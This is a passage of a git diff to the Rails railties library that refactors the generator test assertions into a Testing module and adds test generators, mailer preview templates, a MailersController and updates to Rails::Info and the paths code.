- # You can also give extra arguments. If the argument is a regexp, it will check if the
- # regular expression matches the given file content. If it's a string, it compares the
- # file with the given string:
- #
- # assert_file "config/environment.rb", /initialize/
- #
- # Finally, when a block is given, it yields the file content:
- #
- # assert_file "app/controllers/products_controller.rb" do |controller|
- # assert_instance_method :index, controller do |index|
- # assert_match(/Product\.all/, index)
- # end
- # end
- def assert_file(relative, *contents)
- absolute = File.expand_path(relative, destination_root)
- assert File.exists?(absolute), "Expected file #{relative.inspect} to exist, but does not"
-
- read = File.read(absolute) if block_given? || !contents.empty?
- yield read if block_given?
-
- contents.each do |content|
- case content
- when String
- assert_equal content, read
- when Regexp
- assert_match content, read
- end
- end
- end
- alias :assert_directory :assert_file
-
- # Asserts a given file does not exist. You need to supply an absolute path or a
- # path relative to the configured destination:
- #
- # assert_no_file "config/random.rb"
- def assert_no_file(relative)
- absolute = File.expand_path(relative, destination_root)
- assert !File.exists?(absolute), "Expected file #{relative.inspect} to not exist, but does"
- end
- alias :assert_no_directory :assert_no_file
-
- # Asserts a given migration exists. You need to supply an absolute path or a
- # path relative to the configured destination:
- #
- # assert_migration "db/migrate/create_products.rb"
- #
- # This method manipulates the given path and tries to find any migration which
- # matches the migration name. For example, the call above is converted to:
- #
- # assert_file "db/migrate/003_create_products.rb"
- #
- # Consequently, assert_migration accepts the same arguments has assert_file.
- def assert_migration(relative, *contents, &block)
- file_name = migration_file_name(relative)
- assert file_name, "Expected migration #{relative} to exist, but was not found"
- assert_file file_name, *contents, &block
- end
-
- # Asserts a given migration does not exist. You need to supply an absolute path or a
- # path relative to the configured destination:
- #
- # assert_no_migration "db/migrate/create_products.rb"
- def assert_no_migration(relative)
- file_name = migration_file_name(relative)
- assert_nil file_name, "Expected migration #{relative} to not exist, but found #{file_name}"
- end
-
- # Asserts the given class method exists in the given content. This method does not detect
- # class methods inside (class << self), only class methods which starts with "self.".
- # When a block is given, it yields the content of the method.
- #
- # assert_migration "db/migrate/create_products.rb" do |migration|
- # assert_class_method :up, migration do |up|
- # assert_match(/create_table/, up)
- # end
- # end
- def assert_class_method(method, content, &block)
- assert_instance_method "self.#{method}", content, &block
- end
-
- # Asserts the given method exists in the given content. When a block is given,
- # it yields the content of the method.
- #
- # assert_file "app/controllers/products_controller.rb" do |controller|
- # assert_instance_method :index, controller do |index|
- # assert_match(/Product\.all/, index)
- # end
- # end
- def assert_instance_method(method, content)
- assert content =~ /(\s+)def #{method}(\(.+\))?(.*?)\n\1end/m, "Expected to have method #{method}"
- yield $3.strip if block_given?
- end
- alias :assert_method :assert_instance_method
-
- # Asserts the given attribute type gets translated to a field type
- # properly:
- #
- # assert_field_type :date, :date_select
- def assert_field_type(attribute_type, field_type)
- assert_equal(field_type, create_generated_attribute(attribute_type).field_type)
- end
-
- # Asserts the given attribute type gets a proper default value:
- #
- # assert_field_default_value :string, "MyString"
- def assert_field_default_value(attribute_type, value)
- assert_equal(value, create_generated_attribute(attribute_type).default)
- end
-
- # Runs the generator configured for this class. The first argument is an array like
- # command line arguments:
- #
- # class AppGeneratorTest < Rails::Generators::TestCase
- # tests AppGenerator
- # destination File.expand_path("../tmp", File.dirname(__FILE__))
- # teardown :cleanup_destination_root
- #
- # test "database.yml is not created when skipping Active Record" do
- # run_generator %w(myapp --skip-active-record)
- # assert_no_file "config/database.yml"
- # end
- # end
- #
- # You can provide a configuration hash as second argument. This method returns the output
- # printed by the generator.
- def run_generator(args=self.default_arguments, config={})
- capture(:stdout) { self.generator_class.start(args, config.reverse_merge(destination_root: destination_root)) }
- end
-
- # Instantiate the generator.
- def generator(args=self.default_arguments, options={}, config={})
- @generator ||= self.generator_class.new(args, options, config.reverse_merge(destination_root: destination_root))
- end
-
- # Create a Rails::Generators::GeneratedAttribute by supplying the
- # attribute type and, optionally, the attribute name:
- #
- # create_generated_attribute(:string, 'name')
- def create_generated_attribute(attribute_type, name = 'test', index = nil)
- Rails::Generators::GeneratedAttribute.parse([name, attribute_type, index].compact.join(':'))
- end
-
- protected
-
- def destination_root_is_set? # :nodoc:
- raise "You need to configure your Rails::Generators::TestCase destination root." unless destination_root
- end
-
- def ensure_current_path # :nodoc:
- cd current_path
- end
-
- def prepare_destination # :nodoc:
- rm_rf(destination_root)
- mkdir_p(destination_root)
- end
-
- def migration_file_name(relative) # :nodoc:
- absolute = File.expand_path(relative, destination_root)
- dirname, file_name = File.dirname(absolute), File.basename(absolute).sub(/\.rb$/, '')
- Dir.glob("#{dirname}/[0-9]*_*.rb").grep(/\d+_#{file_name}.rb$/).first
- end
end
end
end
diff --git a/railties/lib/rails/generators/test_unit/generator/generator_generator.rb b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
new file mode 100644
index 0000000000..d7307398ce
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
@@ -0,0 +1,26 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class GeneratorGenerator < Base # :nodoc:
+ check_class_collision suffix: "GeneratorTest"
+
+ class_option :namespace, type: :boolean, default: true,
+ desc: "Namespace generator under lib/generators/name"
+
+ def create_generator_files
+ template 'generator_test.rb', File.join('test/lib/generators', class_path, "#{file_name}_generator_test.rb")
+ end
+
+ protected
+
+ def generator_path
+ if options[:namespace]
+ File.join("generators", regular_class_path, file_name, "#{file_name}_generator")
+ else
+ File.join("generators", regular_class_path, "#{file_name}_generator")
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
new file mode 100644
index 0000000000..a7f1fc4fba
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
@@ -0,0 +1,16 @@
+require 'test_helper'
+require '<%= generator_path %>'
+
+<% module_namespacing do -%>
+class <%= class_name %>GeneratorTest < Rails::Generators::TestCase
+ tests <%= class_name %>Generator
+ destination Rails.root.join('tmp/generators')
+ setup :prepare_destination
+
+ # test "generator runs without errors" do
+ # assert_nothing_raised do
+ # run_generator ["arguments"]
+ # end
+ # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
index 0db76f9eaf..bde4e88915 100644
--- a/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
+++ b/railties/lib/rails/generators/test_unit/helper/helper_generator.rb
@@ -3,11 +3,7 @@ require 'rails/generators/test_unit'
module TestUnit # :nodoc:
module Generators # :nodoc:
class HelperGenerator < Base # :nodoc:
- check_class_collision suffix: "HelperTest"
-
- def create_helper_files
- template 'helper_test.rb', File.join('test/helpers', class_path, "#{file_name}_helper_test.rb")
- end
+ # Rails does not generate anything here.
end
end
end
diff --git a/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb b/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb
deleted file mode 100644
index 7d37bda0f9..0000000000
--- a/railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require 'test_helper'
-
-<% module_namespacing do -%>
-class <%= class_name %>HelperTest < ActionView::TestCase
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/job/job_generator.rb b/railties/lib/rails/generators/test_unit/job/job_generator.rb
new file mode 100644
index 0000000000..566b61ca66
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/job/job_generator.rb
@@ -0,0 +1,13 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class JobGenerator < Base # :nodoc:
+ check_class_collision suffix: 'JobTest'
+
+ def create_test_file
+ template 'unit_test.rb.erb', File.join('test/jobs', class_path, "#{file_name}_job_test.rb")
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb b/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb
new file mode 100644
index 0000000000..f5351d0ec6
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb
@@ -0,0 +1,9 @@
+require 'test_helper'
+
+<% module_namespacing do -%>
+class <%= class_name %>JobTest < ActiveJob::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
index 3334b189bf..85dee1a066 100644
--- a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
@@ -4,11 +4,18 @@ module TestUnit # :nodoc:
module Generators # :nodoc:
class MailerGenerator < Base # :nodoc:
argument :actions, type: :array, default: [], banner: "method method"
- check_class_collision suffix: "Test"
+
+ def check_class_collision
+ class_collisions "#{class_name}Test", "#{class_name}Preview"
+ end
def create_test_files
template "functional_test.rb", File.join('test/mailers', class_path, "#{file_name}_test.rb")
end
+
+ def create_preview_files
+ template "preview.rb", File.join('test/mailers/previews', class_path, "#{file_name}_preview.rb")
+ end
end
end
end
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
new file mode 100644
index 0000000000..3bfd5426e8
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
@@ -0,0 +1,13 @@
+<% module_namespacing do -%>
+# Preview all emails at http://localhost:3000/rails/mailers/<%= file_path %>
+class <%= class_name %>Preview < ActionMailer::Preview
+<% actions.each do |action| -%>
+
+ # Preview this email at http://localhost:3000/rails/mailers/<%= file_path %>/<%= action %>
+ def <%= action %>
+ <%= class_name %>.<%= action %>
+ end
+<% end -%>
+
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/model_generator.rb b/railties/lib/rails/generators/test_unit/model/model_generator.rb
index 2801749ffe..2826a3ffa1 100644
--- a/railties/lib/rails/generators/test_unit/model/model_generator.rb
+++ b/railties/lib/rails/generators/test_unit/model/model_generator.rb
@@ -3,6 +3,9 @@ require 'rails/generators/test_unit'
module TestUnit # :nodoc:
module Generators # :nodoc:
class ModelGenerator < Base # :nodoc:
+
+ RESERVED_YAML_KEYWORDS = %w(y yes n no true false on off null)
+
argument :attributes, type: :array, default: [], banner: "field:type field:type"
class_option :fixture, type: :boolean
@@ -19,6 +22,15 @@ module TestUnit # :nodoc:
template 'fixtures.yml', File.join('test/fixtures', class_path, "#{plural_file_name}.yml")
end
end
+
+ private
+ def yaml_key_value(key, value)
+ if RESERVED_YAML_KEYWORDS.include?(key.downcase)
+ "'#{key}': #{value}"
+ else
+ "#{key}: #{value}"
+ end
+ end
end
end
end
diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
index 7625ff975c..f19e9d1d87 100644
--- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
+++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
@@ -1,22 +1,20 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
-
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
<% unless attributes.empty? -%>
-one:
+<% %w(one two).each do |name| %>
+<%= name %>:
<% attributes.each do |attribute| -%>
- <%= attribute.column_name %>: <%= attribute.default %>
- <%- if attribute.polymorphic? -%>
- <%= "#{attribute.name}_type: #{attribute.human_name}" %>
+ <%- if attribute.password_digest? -%>
+ password_digest: <%%= BCrypt::Password.create('secret') %>
+ <%- else -%>
+ <%= yaml_key_value(attribute.column_name, attribute.default) %>
<%- end -%>
-<% end -%>
-
-two:
-<% attributes.each do |attribute| -%>
- <%= attribute.column_name %>: <%= attribute.default %>
<%- if attribute.polymorphic? -%>
- <%= "#{attribute.name}_type: #{attribute.human_name}" %>
+ <%= yaml_key_value("#{attribute.name}_type", attribute.human_name) %>
<%- end -%>
<% end -%>
+<% end -%>
<% else -%>
+
# This model initially had no columns defined. If you add columns to the
# model remove the '{}' from the fixture names and add the columns immediately
# below each fixture, per the syntax in the comments below
diff --git a/railties/lib/rails/generators/test_unit/performance/performance_generator.rb b/railties/lib/rails/generators/test_unit/performance/performance_generator.rb
deleted file mode 100644
index 5552edeee4..0000000000
--- a/railties/lib/rails/generators/test_unit/performance/performance_generator.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require 'rails/generators/test_unit'
-
-module TestUnit # :nodoc:
- module Generators # :nodoc:
- class PerformanceGenerator < Base # :nodoc:
- check_class_collision suffix: "Test"
-
- def create_test_files
- template 'performance_test.rb', File.join('test/performance', class_path, "#{file_name}_test.rb")
- end
- end
- end
-end
diff --git a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb b/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb
deleted file mode 100644
index 2bcb482d68..0000000000
--- a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class <%= class_name %>Test < ActionDispatch::PerformanceTest
- # Refer to the documentation for all available options
- # self.profile_options = { runs: 5, metrics: [:wall_time, :memory],
- # output: 'tmp/performance', formats: [:flat] }
-
- test "homepage" do
- get '/'
- end
-end
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
index c9af2ca832..30a861f09d 100644
--- a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
+++ b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
@@ -1,2 +1,2 @@
-require 'minitest/autorun'
+require 'active_support/testing/autorun'
require 'active_support'
diff --git a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
index 8f3ecaadea..2e1f55f2a6 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
@@ -21,7 +21,11 @@ module TestUnit # :nodoc:
return if attributes_names.empty?
attributes_names.map do |name|
- "#{name}: @#{singular_table_name}.#{name}"
+ if %w(password password_confirmation).include?(name) && attributes.any?(&:password_digest?)
+ "#{name}: 'secret'"
+ else
+ "#{name}: @#{singular_table_name}.#{name}"
+ end
end.sort.join(', ')
end
end
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
index 30e1650555..18bd1ece9d 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
@@ -36,7 +36,7 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase
end
test "should update <%= singular_table_name %>" do
- put :update, id: <%= "@#{singular_table_name}" %>, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
+ patch :update, id: <%= "@#{singular_table_name}" %>, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
end
diff --git a/railties/lib/rails/generators/testing/assertions.rb b/railties/lib/rails/generators/testing/assertions.rb
new file mode 100644
index 0000000000..bd069e4bd0
--- /dev/null
+++ b/railties/lib/rails/generators/testing/assertions.rb
@@ -0,0 +1,123 @@
+require 'shellwords'
+
+module Rails
+ module Generators
+ module Testing
+ module Assertions
+ # Asserts a given file exists. You need to supply an absolute path or a path relative
+ # to the configured destination:
+ #
+ # assert_file "config/environment.rb"
+ #
+ # You can also give extra arguments. If the argument is a regexp, it will check if the
+ # regular expression matches the given file content. If it's a string, it compares the
+ # file with the given string:
+ #
+ # assert_file "config/environment.rb", /initialize/
+ #
+ # Finally, when a block is given, it yields the file content:
+ #
+ # assert_file "app/controllers/products_controller.rb" do |controller|
+ # assert_instance_method :index, controller do |index|
+ # assert_match(/Product\.all/, index)
+ # end
+ # end
+ def assert_file(relative, *contents)
+ absolute = File.expand_path(relative, destination_root).shellescape
+ assert File.exist?(absolute), "Expected file #{relative.inspect} to exist, but does not"
+
+ read = File.read(absolute) if block_given? || !contents.empty?
+ yield read if block_given?
+
+ contents.each do |content|
+ case content
+ when String
+ assert_equal content, read
+ when Regexp
+ assert_match content, read
+ end
+ end
+ end
+ alias :assert_directory :assert_file
+
+ # Asserts a given file does not exist. You need to supply an absolute path or a
+ # path relative to the configured destination:
+ #
+ # assert_no_file "config/random.rb"
+ def assert_no_file(relative)
+ absolute = File.expand_path(relative, destination_root)
+ assert !File.exist?(absolute), "Expected file #{relative.inspect} to not exist, but does"
+ end
+ alias :assert_no_directory :assert_no_file
+
+ # Asserts a given migration exists. You need to supply an absolute path or a
+ # path relative to the configured destination:
+ #
+ # assert_migration "db/migrate/create_products.rb"
+ #
+ # This method manipulates the given path and tries to find any migration which
+ # matches the migration name. For example, the call above is converted to:
+ #
+ # assert_file "db/migrate/003_create_products.rb"
+ #
+ # Consequently, assert_migration accepts the same arguments has assert_file.
+ def assert_migration(relative, *contents, &block)
+ file_name = migration_file_name(relative)
+ assert file_name, "Expected migration #{relative} to exist, but was not found"
+ assert_file file_name, *contents, &block
+ end
+
+ # Asserts a given migration does not exist. You need to supply an absolute path or a
+ # path relative to the configured destination:
+ #
+ # assert_no_migration "db/migrate/create_products.rb"
+ def assert_no_migration(relative)
+ file_name = migration_file_name(relative)
+ assert_nil file_name, "Expected migration #{relative} to not exist, but found #{file_name}"
+ end
+
+ # Asserts the given class method exists in the given content. This method does not detect
+ # class methods inside (class << self), only class methods which starts with "self.".
+ # When a block is given, it yields the content of the method.
+ #
+ # assert_migration "db/migrate/create_products.rb" do |migration|
+ # assert_class_method :up, migration do |up|
+ # assert_match(/create_table/, up)
+ # end
+ # end
+ def assert_class_method(method, content, &block)
+ assert_instance_method "self.#{method}", content, &block
+ end
+
+ # Asserts the given method exists in the given content. When a block is given,
+ # it yields the content of the method.
+ #
+ # assert_file "app/controllers/products_controller.rb" do |controller|
+ # assert_instance_method :index, controller do |index|
+ # assert_match(/Product\.all/, index)
+ # end
+ # end
+ def assert_instance_method(method, content)
+ assert content =~ /(\s+)def #{method}(\(.+\))?(.*?)\n\1end/m, "Expected to have method #{method}"
+ yield $3.strip if block_given?
+ end
+ alias :assert_method :assert_instance_method
+
+ # Asserts the given attribute type gets translated to a field type
+ # properly:
+ #
+ # assert_field_type :date, :date_select
+ def assert_field_type(attribute_type, field_type)
+ assert_equal(field_type, create_generated_attribute(attribute_type).field_type)
+ end
+
+ # Asserts the given attribute type gets a proper default value:
+ #
+ # assert_field_default_value :string, "MyString"
+ def assert_field_default_value(attribute_type, value)
+ assert_equal(value, create_generated_attribute(attribute_type).default)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/testing/behaviour.rb b/railties/lib/rails/generators/testing/behaviour.rb
new file mode 100644
index 0000000000..fd2ea274e1
--- /dev/null
+++ b/railties/lib/rails/generators/testing/behaviour.rb
@@ -0,0 +1,123 @@
+require 'active_support/core_ext/class/attribute'
+require 'active_support/core_ext/module/delegation'
+require 'active_support/core_ext/hash/reverse_merge'
+require 'active_support/core_ext/kernel/reporting'
+require 'active_support/concern'
+require 'rails/generators'
+
+module Rails
+ module Generators
+ module Testing
+ module Behaviour
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :destination_root, :current_path, :generator_class, :default_arguments
+
+ # Generators frequently change the current path using +FileUtils.cd+.
+ # So we need to store the path at file load and revert back to it after each test.
+ self.current_path = File.expand_path(Dir.pwd)
+ self.default_arguments = []
+ end
+
+ module ClassMethods
+ # Sets which generator should be tested:
+ #
+ # tests AppGenerator
+ def tests(klass)
+ self.generator_class = klass
+ end
+
+ # Sets default arguments on generator invocation. This can be overwritten when
+ # invoking it.
+ #
+ # arguments %w(app_name --skip-active-record)
+ def arguments(array)
+ self.default_arguments = array
+ end
+
+ # Sets the destination of generator files:
+ #
+ # destination File.expand_path("../tmp", File.dirname(__FILE__))
+ def destination(path)
+ self.destination_root = path
+ end
+ end
+
+ # Runs the generator configured for this class. The first argument is an array like
+ # command line arguments:
+ #
+ # class AppGeneratorTest < Rails::Generators::TestCase
+ # tests AppGenerator
+ # destination File.expand_path("../tmp", File.dirname(__FILE__))
+ # setup :prepare_destination
+ #
+ # test "database.yml is not created when skipping Active Record" do
+ # run_generator %w(myapp --skip-active-record)
+ # assert_no_file "config/database.yml"
+ # end
+ # end
+ #
+ # You can provide a configuration hash as second argument. This method returns the output
+ # printed by the generator.
+ def run_generator(args=self.default_arguments, config={})
+ capture(:stdout) do
+ args += ['--skip-bundle'] unless args.include? '--dev'
+ self.generator_class.start(args, config.reverse_merge(destination_root: destination_root))
+ end
+ end
+
+ # Instantiate the generator.
+ def generator(args=self.default_arguments, options={}, config={})
+ @generator ||= self.generator_class.new(args, options, config.reverse_merge(destination_root: destination_root))
+ end
+
+ # Create a Rails::Generators::GeneratedAttribute by supplying the
+ # attribute type and, optionally, the attribute name:
+ #
+ # create_generated_attribute(:string, 'name')
+ def create_generated_attribute(attribute_type, name = 'test', index = nil)
+ Rails::Generators::GeneratedAttribute.parse([name, attribute_type, index].compact.join(':'))
+ end
+
+ protected
+
+ def destination_root_is_set? # :nodoc:
+ raise "You need to configure your Rails::Generators::TestCase destination root." unless destination_root
+ end
+
+ def ensure_current_path # :nodoc:
+ cd current_path
+ end
+
+ def prepare_destination # :nodoc:
+ rm_rf(destination_root)
+ mkdir_p(destination_root)
+ end
+
+ def migration_file_name(relative) # :nodoc:
+ absolute = File.expand_path(relative, destination_root)
+ dirname, file_name = File.dirname(absolute), File.basename(absolute).sub(/\.rb$/, '')
+ Dir.glob("#{dirname}/[0-9]*_*.rb").grep(/\d+_#{file_name}.rb$/).first
+ end
+
+ def capture(stream)
+ stream = stream.to_s
+ captured_stream = Tempfile.new(stream)
+ stream_io = eval("$#{stream}")
+ origin_stream = stream_io.dup
+ stream_io.reopen(captured_stream)
+
+ yield
+
+ stream_io.rewind
+ return captured_stream.read
+ ensure
+ captured_stream.close
+ captured_stream.unlink
+ stream_io.reopen(origin_stream)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/testing/setup_and_teardown.rb b/railties/lib/rails/generators/testing/setup_and_teardown.rb
new file mode 100644
index 0000000000..73102a283f
--- /dev/null
+++ b/railties/lib/rails/generators/testing/setup_and_teardown.rb
@@ -0,0 +1,18 @@
+module Rails
+ module Generators
+ module Testing
+ module SetupAndTeardown
+ def setup # :nodoc:
+ destination_root_is_set?
+ ensure_current_path
+ super
+ end
+
+ def teardown # :nodoc:
+ ensure_current_path
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb
index aacc1be2fc..5909446b66 100644
--- a/railties/lib/rails/info.rb
+++ b/railties/lib/rails/info.rb
@@ -1,11 +1,14 @@
require "cgi"
module Rails
+ # This module helps build the runtime properties used to display in the
+ # Rails::InfoController responses. Including the active Rails version, Ruby
+ # version, Rack version, and so on.
module Info
mattr_accessor :properties
class << (@@properties = [])
def names
- map {|val| val.first }
+ map(&:first)
end
def value_for(property_name)
@@ -22,19 +25,8 @@ module Rails
rescue Exception
end
- def frameworks
- %w( active_record action_pack action_mailer active_support )
- end
-
- def framework_version(framework)
- if Object.const_defined?(framework.classify)
- require "#{framework}/version"
- "#{framework.classify}::VERSION::STRING".constantize
- end
- end
-
def to_s
- column_width = properties.names.map {|name| name.length}.max
+ column_width = properties.names.map(&:length).max
info = properties.map do |name, value|
value = value.join(", ") if value.is_a?(Array)
"%-#{column_width}s %s" % [name, value]
@@ -46,7 +38,7 @@ module Rails
alias inspect to_s
def to_html
- (table = '<table>').tap do
+ '<table>'.tap do |table|
properties.each do |(name, value)|
table << %(<tr><td class="name">#{CGI.escapeHTML(name.to_s)}</td>)
formatted_value = if value.kind_of?(Array)
@@ -61,8 +53,15 @@ module Rails
end
end
- # The Ruby version and platform, e.g. "1.8.2 (powerpc-darwin8.2.0)".
- property 'Ruby version', "#{RUBY_VERSION} (#{RUBY_PLATFORM})"
+ # The Rails version.
+ property 'Rails version' do
+ Rails.version.to_s
+ end
+
+ # The Ruby version and platform, e.g. "2.0.0-p247 (x86_64-darwin12.4.0)".
+ property 'Ruby version' do
+ "#{RUBY_VERSION}-p#{RUBY_PATCHLEVEL} (#{RUBY_PLATFORM})"
+ end
# The RubyGems version, if it's installed.
property 'RubyGems version' do
@@ -73,23 +72,10 @@ module Rails
::Rack.release
end
- # The Rails version.
- property 'Rails version' do
- Rails::VERSION::STRING
- end
-
property 'JavaScript Runtime' do
ExecJS.runtime.name
end
- # Versions of each Rails framework (Active Record, Action Pack,
- # Action Mailer, and Active Support).
- frameworks.each do |framework|
- property "#{framework.titlecase} version" do
- framework_version(framework)
- end
- end
-
property 'Middleware' do
Rails.configuration.middleware.map(&:inspect)
end
diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb
index fe1e25d88c..49e5431a16 100644
--- a/railties/lib/rails/info_controller.rb
+++ b/railties/lib/rails/info_controller.rb
@@ -1,33 +1,23 @@
+require 'rails/application_controller'
require 'action_dispatch/routing/inspector'
-class Rails::InfoController < ActionController::Base
- self.view_paths = File.expand_path('../templates', __FILE__)
- layout 'application'
+class Rails::InfoController < Rails::ApplicationController # :nodoc:
+ prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+ layout -> { request.xhr? ? false : 'application' }
- before_filter :require_local!
+ before_action :require_local!
def index
- redirect_to '/rails/info/routes'
+ redirect_to action: :routes
end
def properties
@info = Rails::Info.to_html
+ @page_title = 'Properties'
end
def routes
- inspector = ActionDispatch::Routing::RoutesInspector.new
- @info = inspector.format(_routes.routes).join("\n")
- end
-
- protected
-
- def require_local!
- unless local_request?
- render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
- end
- end
-
- def local_request?
- Rails.application.config.consider_all_requests_local || request.local?
+ @routes_inspector = ActionDispatch::Routing::RoutesInspector.new(_routes.routes)
+ @page_title = 'Routes'
end
end
diff --git a/railties/lib/rails/mailers_controller.rb b/railties/lib/rails/mailers_controller.rb
new file mode 100644
index 0000000000..32740d66da
--- /dev/null
+++ b/railties/lib/rails/mailers_controller.rb
@@ -0,0 +1,73 @@
+require 'rails/application_controller'
+
+class Rails::MailersController < Rails::ApplicationController # :nodoc:
+ prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+
+ before_action :require_local!
+ before_action :find_preview, only: :preview
+
+ def index
+ @previews = ActionMailer::Preview.all
+ @page_title = "Mailer Previews"
+ end
+
+ def preview
+ if params[:path] == @preview.preview_name
+ @page_title = "Mailer Previews for #{@preview.preview_name}"
+ render action: 'mailer'
+ else
+ email = File.basename(params[:path])
+
+ if @preview.email_exists?(email)
+ @email = @preview.call(email)
+
+ if params[:part]
+ part_type = Mime::Type.lookup(params[:part])
+
+ if part = find_part(part_type)
+ response.content_type = part_type
+ render text: part.respond_to?(:decoded) ? part.decoded : part
+ else
+ raise AbstractController::ActionNotFound, "Email part '#{part_type}' not found in #{@preview.name}##{email}"
+ end
+ else
+ @part = find_preferred_part(request.format, Mime::HTML, Mime::TEXT)
+ render action: 'email', layout: false, formats: %w[html]
+ end
+ else
+ raise AbstractController::ActionNotFound, "Email '#{email}' not found in #{@preview.name}"
+ end
+ end
+ end
+
+ protected
+ def find_preview
+ candidates = []
+ params[:path].to_s.scan(%r{/|$}){ candidates << $` }
+ preview = candidates.detect{ |candidate| ActionMailer::Preview.exists?(candidate) }
+
+ if preview
+ @preview = ActionMailer::Preview.find(preview)
+ else
+ raise AbstractController::ActionNotFound, "Mailer preview '#{params[:path]}' not found"
+ end
+ end
+
+ def find_preferred_part(*formats)
+ if @email.multipart?
+ formats.each do |format|
+ return find_part(format) if @email.parts.any?{ |p| p.mime_type == format }
+ end
+ else
+ @email
+ end
+ end
+
+ def find_part(format)
+ if @email.multipart?
+ @email.parts.find{ |p| p.mime_type == format }
+ elsif @email.mime_type == format
+ @email
+ end
+ end
+end
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
index cfdb15a14e..5458036219 100644
--- a/railties/lib/rails/paths.rb
+++ b/railties/lib/rails/paths.rb
@@ -24,7 +24,7 @@ module Rails
#
# Notice that when you add a path using +add+, the path object created already
# contains the path with the same path value given to +add+. In some situations,
- # you may not want this behavior, so you can give :with as option.
+ # you may not want this behavior, so you can give <tt>:with</tt> as option.
#
# root.add "config/routes", with: "config/routes.rb"
# root["config/routes"].inspect # => ["config/routes.rb"]
@@ -55,9 +55,9 @@ module Rails
add(path, with: value, glob: glob)
end
- def add(path, options={})
- with = options[:with] || path
- @root[path] = Path.new(self, path, [with].flatten, options)
+ def add(path, options = {})
+ with = Array(options.fetch(:with, path))
+ @root[path] = Path.new(self, path, with, options)
end
def [](path)
@@ -77,39 +77,32 @@ module Rails
end
def all_paths
- values.tap { |v| v.uniq! }
+ values.tap(&:uniq!)
end
def autoload_once
- filter_by(:autoload_once?)
+ filter_by(&:autoload_once?)
end
def eager_load
- filter_by(:eager_load?)
+ filter_by(&:eager_load?)
end
def autoload_paths
- filter_by(:autoload?)
+ filter_by(&:autoload?)
end
def load_paths
- filter_by(:load_path?)
+ filter_by(&:load_path?)
end
- protected
+ private
- def filter_by(constraint)
- yes = []
- no = []
-
- all_paths.each do |path|
- paths = path.existent + path.existent_base_paths
- path.send(constraint) ? yes.concat(paths) : no.concat(paths)
- end
-
- all = yes - no
- all.uniq!
- all
+ def filter_by(&block)
